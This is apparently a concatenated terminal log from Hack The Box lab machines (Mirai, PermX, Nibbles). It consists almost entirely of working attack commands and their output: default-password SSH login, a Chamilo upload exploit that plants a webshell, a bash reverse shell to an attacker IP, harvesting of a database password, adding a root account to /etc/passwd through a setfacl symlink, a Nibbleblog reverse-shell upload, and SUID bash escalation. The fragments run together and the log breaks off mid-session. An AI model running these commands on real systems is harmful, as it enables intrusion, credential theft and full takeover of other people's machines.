_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Mirai/Mirai/reports/http_10.10.10.48/_admin_25-02-14_17-19-28.txt
Target: http://10.10.10.48/
[17:19:28] Starting: admin/
[17:19:31] 200 - 274B - /admin/.git/config
[17:19:31] 200 - 23B - /admin/.git/HEAD
[17:19:31] 200 - 73B - /admin/.git/description
[17:19:31] 200 - 11KB - /admin/.git/index
[17:19:31] 200 - 182B - /admin/.git/logs/refs/heads/master
[17:19:31] 200 - 182B - /admin/.git/logs/refs/remotes/origin/HEAD
[17:19:31] 200 - 240B - /admin/.git/info/exclude
[17:19:31] 200 - 182B - /admin/.git/logs/HEAD❯ ssh pi@10.10.10.48
pi@10.10.10.48's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 27 14:47:50 2017 from localhost
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
SSH is enabled and the default password for the 'pi' user has not been changed.
This is a security risk - please login as the 'pi' user and type 'passwd' to set a new password.
pi@raspberrypi:~$ cat Desktop/user.txt
ff8377074***********************pi@raspberrypi:~$ sudo -l
Matching Defaults entries for pi on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pi may run the following commands on localhost:
(ALL : ALL) ALL
(ALL) NOPASSWD: ALL
pi@raspberrypi:~$ sudo su
root@raspberrypi:/home/pi$ cd /root/
root@raspberrypi:~$ ls -l
total 4
-rw-r--r-- 1 root root 76 Aug 14 2017 root.txt
root@raspberrypi:~$ cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...root@raspberrypi:/# ls -l
total 64
drwxr-xr-x 2 root root 4096 Aug 13 2017 bin
drwxr-xr-x 2 root root 4096 Aug 13 2017 boot
drwxr-xr-x 17 root root 3280 Feb 14 16:03 dev
drwxr-xr-x 170 root root 4096 Dec 24 2017 etc
drwxr-xr-x 4 root root 4096 Aug 13 2017 home
lrwxrwxrwx 1 root root 33 Dec 13 2016 initrd.img -> /boot/initrd.img-3.16.0-4-686-pae
lrwxrwxrwx 1 root root 29 Dec 13 2016 initrd.img.old -> /boot/initrd.img-3.16.0-4-586
drwxr-xr-x 28 root root 4096 Aug 13 2017 lib
drwx------ 2 root root 16384 Aug 13 2017 lost+found
drwxr-xr-x 3 root root 4096 Aug 14 2017 mediaroot@raspberrypi:/media$ ls -l
total 1
drwxr-xr-x 3 root root 1024 Aug 14 2017 usbstick
root@raspberrypi:/media$ cd usbstick/
root@raspberrypi:/media/usbstick$ ls -l
total 13
-rw-r--r-- 1 root root 129 Aug 14 2017 damnit.txt
drwx------ 2 root root 12288 Aug 14 2017 lost+found
root@raspberrypi:/media/usbstick$ cat damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-Jamesroot@raspberrypi:/media/usbstick$ grep -aPo '[a-fA-F0-9]{32}' /dev/sdb
3d3e48314***********************❯ ssh pi@10.10.10.48 "sudo dd if=/dev/sdb | gzip -1 -" | dd of=usb.gz
pi@10.10.10.48's password:
20480+0 records in
20480+0 records out
10485760 bytes (10 MB) copied, 0.121098 s, 86.6 MB/s
93+1 records in
93+1 records out
48103 bytes (48 kB, 47 KiB) copied, 4,93366 s, 9,7 kB/s
❯ ls -l usb.gz
.rw-rw-r-- kali kali 47 KB Fri Feb 14 17:31:35 2025 usb.gz
❯ file usb.gz
usb.gz: gzip compressed data, last modified: Fri Feb 14 16:32:13 2025, max speed, from Unix, original size modulo 2^32 10485760❯ gunzip usb.gz
❯ ls -l
.rw-rw-r-- kali kali 10 MB Fri Feb 14 17:31:35 2025 usb❯ strings usb
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
>r &
/media/usbstick
lost+found
root.txt
damnit.txt
>r &
/media/usbstick
2]8^
lost+found
root.txt
damnit.txt
>r &
3d3e483143f*********************
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?
-James❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.23 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 19:45 CET
Initiating SYN Stealth Scan at 19:45
Scanning 10.10.11.23 [65535 ports]
Discovered open port 22/tcp on 10.10.11.23
Discovered open port 80/tcp on 10.10.11.23
Completed SYN Stealth Scan at 19:45, 21.83s elapsed (65535 total ports)
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.064s latency).
Scanned at 2025-02-13 19:45:27 CET for 22s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 21.95 seconds
Raw packets sent: 69837 (3.073MB) | Rcvd: 69847 (2.794MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.23
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.11.23 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 19:46 CET
Nmap scan report for permx.htb (10.10.11.23)
Host is up (0.065s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e2:5c:5d:8c:47:3e:d8:72:f7:b4:80:03:49:86:6d:ef (ECDSA)
|_ 256 1f:41:02:8e:6b:17:18:9c:a0:ac:54:23:e9:71:30:17 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: eLEARNING
|_http-server-header: Apache/2.4.52 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 97.53 ms 10.10.16.1
2 52.52 ms permx.htb (10.10.11.23)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.87 seconds
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ cat /etc/hosts | grep permx
10.10.11.23 permx.htb❯ whatweb http://permx.htb/
http://permx.htb/ [200 OK] Apache[2.4.52], Bootstrap, Country[RESERVED][ZZ], Email[permx@htb.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], JQuery[3.4.1], Script, Title[eLEARNING]❯ gobuster dir -u http://permx.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://permx.htb/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 304] [--> http://permx.htb/img/]
/css (Status: 301) [Size: 304] [--> http://permx.htb/css/]
/lib (Status: 301) [Size: 304] [--> http://permx.htb/lib/]
/js (Status: 301) [Size: 303] [--> http://permx.htb/js/]❯ wfuzz --hw=26 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.permx.htb" http://permx.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://permx.htb/
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000173: 200 586 L 2466 W 36182 Ch "www"
000004048: 200 586 L 2466 W 36182 Ch "WWW"
000025584: 200 352 L 940 W 19347 Ch "lms" ❯ cat /etc/hosts | grep permx
10.10.11.23 permx.htb lms.permx.htb❯ whatweb http://lms.permx.htb/
http://lms.permx.htb/ [200 OK] Apache[2.4.52], Bootstrap, Chamilo[1], Cookies[GotoCourse,ch_sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], HttpOnly[GotoCourse,ch_sid], IP[10.10.11.23], JQuery, MetaGenerator[Chamilo 1], Modernizr, PasswordField[password], PoweredBy[Chamilo], Script, Title[PermX - LMS - Portal], X-Powered-By[Chamilo 1], X-UA-Compatible[IE=edge]❯ dirsearch -u 'http://lms.permx.htb/' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/PermX/PermX/reports/http_lms.permx.htb/__25-02-13_19-50-36.txt
Target: http://lms.permx.htb/
[19:50:36] Starting:
[19:50:37] 200 - 46B - /.bowerrc
[19:50:37] 200 - 2KB - /.codeclimate.yml
[19:50:40] 200 - 3KB - /.scrutinizer.yml
[19:50:40] 200 - 4KB - /.travis.yml
[19:50:52] 200 - 540B - /app/cache/
[19:50:52] 200 - 708B - /app/
[19:50:52] 200 - 407B - /app/logs/
[19:50:52] 200 - 101KB - /app/bootstrap.php.cache
[19:50:55] 200 - 455B - /bin/
[19:50:56] 200 - 1KB - /bower.json
[19:51:00] 200 - 7KB - /composer.json
[19:51:00] 200 - 587KB - /composer.lock
[19:51:01] 200 - 5KB - /CONTRIBUTING.md
[19:51:04] 200 - 1KB - /documentation/
[19:51:07] 200 - 2KB - /favicon.ico
[19:51:11] 200 - 4KB - /index.php/login/
[19:51:11] 200 - 4KB - /index.php
[19:51:14] 200 - 34KB - /LICENSE
[19:51:14] 200 - 842B - /license.txt
[19:51:16] 200 - 97B - /main/
[19:51:27] 200 - 8KB - /README.md
[19:51:28] 200 - 403B - /robots.txt
[19:51:32] 200 - 444B - /src/
[19:51:39] 200 - 0B - /vendor/composer/ClassLoader.php
[19:51:39] 200 - 0B - /vendor/composer/autoload_namespaces.php
[19:51:39] 200 - 0B - /vendor/composer/autoload_files.php
[19:51:39] 200 - 1KB - /vendor/
[19:51:39] 200 - 0B - /vendor/composer/autoload_psr4.php
[19:51:39] 200 - 0B - /vendor/composer/autoload_real.php
[19:51:39] 200 - 1KB - /vendor/composer/LICENSE
[19:51:39] 200 - 0B - /vendor/composer/autoload_classmap.php
[19:51:39] 200 - 0B - /vendor/autoload.php
[19:51:39] 200 - 0B - /vendor/composer/autoload_static.php
[19:51:40] 200 - 531KB - /vendor/composer/installed.json
[19:51:41] 200 - 6KB - /web.config
[19:51:41] 200 - 479B - /web/
Task Completed❯ curl -s 'http://lms.permx.htb/README.md' | head -n 1
# Chamilo 1.11.x❯ git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc; cd chamilo-lms-unauthenticated-big-upload-rce-poc
Clonando en 'chamilo-lms-unauthenticated-big-upload-rce-poc'...
remote: Enumerating objects: 53, done.
remote: Counting objects: 100% (53/53), done.
remote: Compressing objects: 100% (36/36), done.
remote: Total 53 (delta 27), reused 34 (delta 17), pack-reused 0 (from 0)
Recibiendo objetos: 100% (53/53), 16.08 KiB | 3.22 MiB/s, listo.
Resolviendo deltas: 100% (27/27), listo.❯ python3 main.py -u http://lms.permx.htb -a scan
[+] Target is likely vulnerable. Go ahead. [+]❯ python3 main.py -u http://lms.permx.htb -a webshell
Enter the name of the webshell file that will be placed on the target server (default: webshell.php): gzzcoo.php
[+] Upload successfull [+]
Webshell URL: http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/gzzcoo.php?cmd=<command>❯ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/gzzcoo.php?cmd=whoami'
www-data❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -s 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/gzzcoo.php?cmd=/bin/bash%20-c%20"bash%20-i%20>%26%20/dev/tcp/10.10.16.7/443%200>%261"'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.11.23] 39420
bash: cannot set terminal process group (1174): Inappropriate ioctl for device
bash: no job control in this shell
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ sudo -l
[sudo] password for www-data:
sudo: a password is requiredwww-data@permx:/var/www/chamilo/app/config$ ls -l
total 268
-rwxr-xr-x 1 www-data www-data 265 Aug 31 2023 add_course.conf.dist.php
-rw-r--r-- 1 www-data www-data 265 Jan 20 2024 add_course.conf.php
-rwxr-xr-x 1 www-data www-data 15758 Aug 31 2023 assetic.yml
-rwxr-xr-x 1 www-data www-data 6502 Aug 31 2023 auth.conf.dist.php
-rw-r--r-- 1 www-data www-data 6502 Jan 20 2024 auth.conf.php
-rwxr-xr-x 1 www-data www-data 9381 Aug 31 2023 config.yml
-rwxr-xr-x 1 www-data www-data 1583 Aug 31 2023 config_dev.yml
-rwxr-xr-x 1 www-data www-data 622 Aug 31 2023 config_prod.yml
-rw-r--r-- 1 www-data www-data 127902 Jan 20 2024 configuration.php
-rwxr-xr-x 1 www-data www-data 176 Aug 31 2023 course_info.conf.dist.php
-rw-r--r-- 1 www-data www-data 176 Jan 20 2024 course_info.conf.php
-rwxr-xr-x 1 www-data www-data 3312 Aug 31 2023 events.conf.dist.php
-rw-r--r-- 1 www-data www-data 3312 Jan 20 2024 events.conf.php
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 fos
-rwxr-xr-x 1 www-data www-data 2036 Aug 31 2023 ivory_ckeditor.yml
-rwxr-xr-x 1 www-data www-data 3396 Aug 31 2023 mail.conf.dist.php
-rw-r--r-- 1 www-data www-data 3396 Jan 20 2024 mail.conf.php
-rwxr-xr-x 1 www-data www-data 151 Aug 31 2023 migrations.yml
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 mopa
-rwxr-xr-x 1 www-data www-data 1131 Aug 31 2023 parameters.yml.dist
-rwxr-xr-x 1 www-data www-data 1340 Aug 31 2023 profile.conf.dist.php
-rw-r--r-- 1 www-data www-data 1340 Jan 20 2024 profile.conf.php
-rwxr-xr-x 1 www-data www-data 2170 Aug 31 2023 routing.yml
-rwxr-xr-x 1 www-data www-data 561 Aug 31 2023 routing_admin.yml
-rwxr-xr-x 1 www-data www-data 594 Aug 31 2023 routing_dev.yml
-rwxr-xr-x 1 www-data www-data 2162 Aug 31 2023 routing_front.yml
-rwxr-xr-x 1 www-data www-data 2802 Aug 31 2023 security.yml
-rwxr-xr-x 1 www-data www-data 150 Aug 31 2023 services.yml
drwxr-xr-x 2 www-data www-data 4096 Aug 31 2023 sonata
www-data@permx:/var/www/chamilo/app/config$ grep -r password *
auth.conf.dist.php: //admin password
auth.conf.dist.php: 'admin_password' => 'pass',
auth.conf.dist.php: 'password' => 'userPassword',
auth.conf.dist.php:$langMainInfoDetail = '<p>OpenID is a secure way to use one user ID and password to log in to many web sites without special software, giving the same password to each site, or losing control over which information is shared with each site that you visit.</p>';
auth.conf.php: //admin password
auth.conf.php: 'admin_password' => 'pass',
auth.conf.php: 'password' => 'userPassword',
auth.conf.php:$langMainInfoDetail = '<p>OpenID is a secure way to use one user ID and password to log in to many web sites without special software, giving the same password to each site, or losing control over which information is shared with each site that you visit.</p>';
config.yml: password: "%database_password%"
config.yml: password: "%mailer_password%"
configuration.php:$_configuration['db_password'] = '03F6lY3uXAP2bkW8';www-data@permx:/var/www/chamilo/app/config$ su mtz
Password:
mtz@permx:/var/www/chamilo/app/config$ cat /home/mtz/user.txt
a0fcaa21eec2*************************mtz@permx:/var/www/chamilo/app/config$ id
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
mtz@permx:/var/www/chamilo/app/config$ sudo -l
Matching Defaults entries for mtz on permx:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mtz may run the following commands on permx:
(ALL : ALL) NOPASSWD: /opt/acl.shmtz@permx:/var/www/chamilo/app/config$ cat /opt/acl.sh
#!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# Check if the path is a file
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"mtz@permx:~$ sudo /opt/acl.sh
Usage: /opt/acl.sh user perm filemtz@permx:~$ ln -s /etc/passwd
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd
mtz@permx:~$ getfacl /etc/passwd
getfacl: Removing leading '/' from absolute path names
# file: etc/passwd
# owner: root
# group: root
user::rw-
user:mtz:rwx
group::r--
mask::rwx
other::r--❯ openssl passwd -1 gzzcoo
$1$ueWnORoK$bD1TcxJC6k99dh8sYay981mtz@permx:~$ echo 'gzzcoo:$1$4L3Rt/1x$sPjy3MZ5oXnuvx8L.Bi350:0:0:gzzcoo:/root:/bin/bash' >> /etc/passwd
mtz@permx:~$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
gzzcoo:$1$4L3Rt/1x$sPjy3MZ5oXnuvx8L.Bi350:0:0:gzzcoo:/root:/bin/bashmtz@permx:~$ su gzzcoo
Password:
root@permx:/home/mtz# cat /root/root.txt
f9e947624c29********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.75 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 18:34 CET
Initiating SYN Stealth Scan at 18:34
Scanning 10.10.10.75 [65535 ports]
Discovered open port 22/tcp on 10.10.10.75
Discovered open port 80/tcp on 10.10.10.75
Completed SYN Stealth Scan at 18:34, 19.02s elapsed (65535 total ports)
Nmap scan report for 10.10.10.75
Host is up, received user-set (0.074s latency).
Scanned at 2025-02-14 18:34:13 CET for 19s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 19.10 seconds
Raw packets sent: 66940 (2.945MB) | Rcvd: 66949 (2.678MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.10.75
[*] Open ports: 22,80
[*] Ports copied to clipboard❯ nmap -sCV -p22,80 10.10.10.75 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-14 18:37 CET
Nmap scan report for 10.10.10.75
Host is up (0.064s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.13 - 4.4, Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 67.21 ms 10.10.16.1
2 40.66 ms 10.10.10.75
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...❯ whatweb http://10.10.10.75
http://10.10.10.75 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75]❯ whatweb http://10.10.10.75/nibbleblog/
http://10.10.10.75/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.10.10.75], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]❯ feroxbuster -u http://10.10.10.75/nibbleblog
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.75/nibbleblog/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 2l 6w 97c http://10.10.10.75/nibbleblog/content/private/tags.xml
200 GET 2l 50w 1936c http://10.10.10.75/nibbleblog/content/private/config.xml
200 GET 0l 0w 0c http://10.10.10.75/nibbleblog/content/private/keys.php
200 GET 2l 14w 431c http://10.10.10.75/nibbleblog/content/private/comments.xml
200 GET 2l 21w 325c http://10.10.10.75/nibbleblog/content/private/categories.xml
200 GET 2l 17w 503c http://10.10.10.75/nibbleblog/content/private/users.xml
200 GET 0l 0w 0c http://10.10.10.75/nibbleblog/content/private/shadow.php❯ curl -s 'http://10.10.10.75/nibbleblog/content/private/users.xml'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<users><user username="admin"><id type="integer">0</id><session_fail_count type="integer">0</session_fail_count><session_date type="integer">1739493766</session_date></user><blacklist type="string" ip="10.10.10.1"><date type="integer">1512964659</date><fail_count type="integer">1</fail_count></blacklist><blacklist type="string" ip="10.10.14.21"><date type="integer">1739490723</date><fail_count type="integer">1</fail_count></blacklist><blacklist type="string" ip="10.10.16.7"><date type="integer">1739555237</date><fail_count type="integer">1</fail_count></blacklist></users>❯ dirsearch -u 'http://10.10.10.75/nibbleblog' -t 50 -i 200 2>/dev/null
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 11460
Output File: /home/kali/Desktop/HackTheBox/Linux/Nibbles/Nibbles/reports/http_10.10.10.75/_nibbleblog_25-02-14_18-55-19.txt
Target: http://10.10.10.75/
[18:55:19] Starting: nibbleblog/
[18:55:30] 200 - 606B - /nibbleblog/admin.php
[18:55:30] 200 - 517B - /nibbleblog/admin/
[18:55:31] 200 - 564B - /nibbleblog/admin/js/tinymce/❯ curl -s 'http://10.10.10.75/nibbleblog/README' | head -n 5
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01❯ searchsploit Nibbleblog
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nibbleblog 3 - Multiple SQL Injections | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload (Metasploit) | php/remote/38489.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results❯ git clone https://github.com/dix0nym/CVE-2015-6967; cd CVE-2015-6967
Clonando en 'CVE-2015-6967'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Recibiendo objetos: 100% (7/7), listo.❯ cp /usr/share/webshells/php/php-reverse-shell.php .❯ mv php-reverse-shell.php shell.php
❯ python3 exploit.py --url http://10.10.10.75/nibbleblog/ --username admin --password nibbles --payload shell.php
[+] Login Successful.
[+] Upload likely successfull.
[+] Exploit launched, check for shell.❯ nc -nlvp 443
listening on [any] 443 ...❯ curl -s -X GET 'http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php'❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.75] 54860
Linux Nibbles 4.4.0-104-generic #127-Ubuntu SMP Mon Dec 11 12:16:42 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
13:05:38 up 19:01, 0 users, load average: 0.00, 0.00, 0.02
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
Script started, file is /dev/null
nibbler@Nibbles:/$ cat /home/nibbler/user.txt
cat /home/nibbler/user.txt
d08355b8d4c************************nibbler@Nibbles:/$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
nibbler@Nibbles:/$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.shnibbler@Nibbles:/home/nibbler$ ls -l
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Feb 13 18:04 user.txt
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh | head -n 20
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be usingnibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
#!/bin/bash
chmod u+s /bin/bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 34 Feb 14 13:10 monitor.shnibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1037528 May 16 2017 /bin/bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
adc3c5445aeee*********************❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.105 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 12:25 CET
Initiating SYN Stealth Scan at 12:25
Scanning 10.10.11.105 [65535 ports]
Discovered open port 22/tcp on 10.10.11.105
Discovered open port 80/tcp on 10.10.11.105
Completed SYN Stealth Scan at 12:25, 11.95s elapsed (65535 total ports)
Nmap scan report for 10.10.11.105
Host is up, received user-set (0.047s latency).
Scanned at 2025-02-19 12:25:24 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65549 (2.623MB)❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.105
